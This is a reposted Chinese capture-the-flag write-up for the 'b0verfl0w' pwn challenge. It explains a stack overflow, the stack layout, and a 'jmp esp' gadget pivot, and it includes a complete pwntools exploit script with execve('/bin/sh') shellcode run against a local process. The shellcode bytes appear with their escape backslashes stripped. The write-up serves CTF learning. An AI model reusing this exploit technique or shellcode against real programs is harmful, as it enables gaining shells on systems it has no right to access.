zoukankan      html  css  js  c++  java
  • x_ctf_b0verfl0w

    只开启了Partial RELRO,意味着每次加载都栈的基址都不一样

     用ida打开,vul函数存在栈溢出

     

    但是fgets只能输入50个字节,padding就0x20个字节了,再加上fake ebp的4个字节和ret的4个字节,剩余10字节,无法写入shellcode,那么我们可以考虑在栈的初始位置布置一段shellcode,然后让程序跳转到栈的起始处执行shellcode

    可以看到0x08048504为jmp esp的gadgets

     

     那栈的布局为

    shellcode |  padding | fake ebp | 0x08048504 | sub esp,0x28 ; jmp esp

     ret相当于执行pop eip  所以当ret的位置为0x08048504的时候,就会执行jmp esp,同时esp+4,eip指向sub esp,0x28;jmp esp ,这样就可以劫持esp,跳转执行shellcode

    exp如下(参考WiKi

    from pwn import *
    context.arch='i386'
    r = process('./b0verfl0w')
    
    shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
    shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
    shellcode += "x0bxcdx80"
    
    print len(shellcode)
    
    sub_esp_jmp=asm('sub esp,0x28;jmp esp')
    jmp_esp=0x08048504
    
    payload=shellcode+(0x20-len(shellcode))*'a'+'bbbb'+p32(jmp_esp)+sub_esp_jmp
    
    r.sendline(payload)
    r.interactive()
  • 相关阅读:
    C++ 四种cast 用法
    Wannafly挑战赛1 B Xorto
    python里的闭包
    编译器对类的编译顺序
    class和struct
    typedef类型别名
    decltype类型指示符
    左值和右值
    const限定符
    hdu5678 树上第k小
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12674851.html
Copyright © 2011-2022 走看看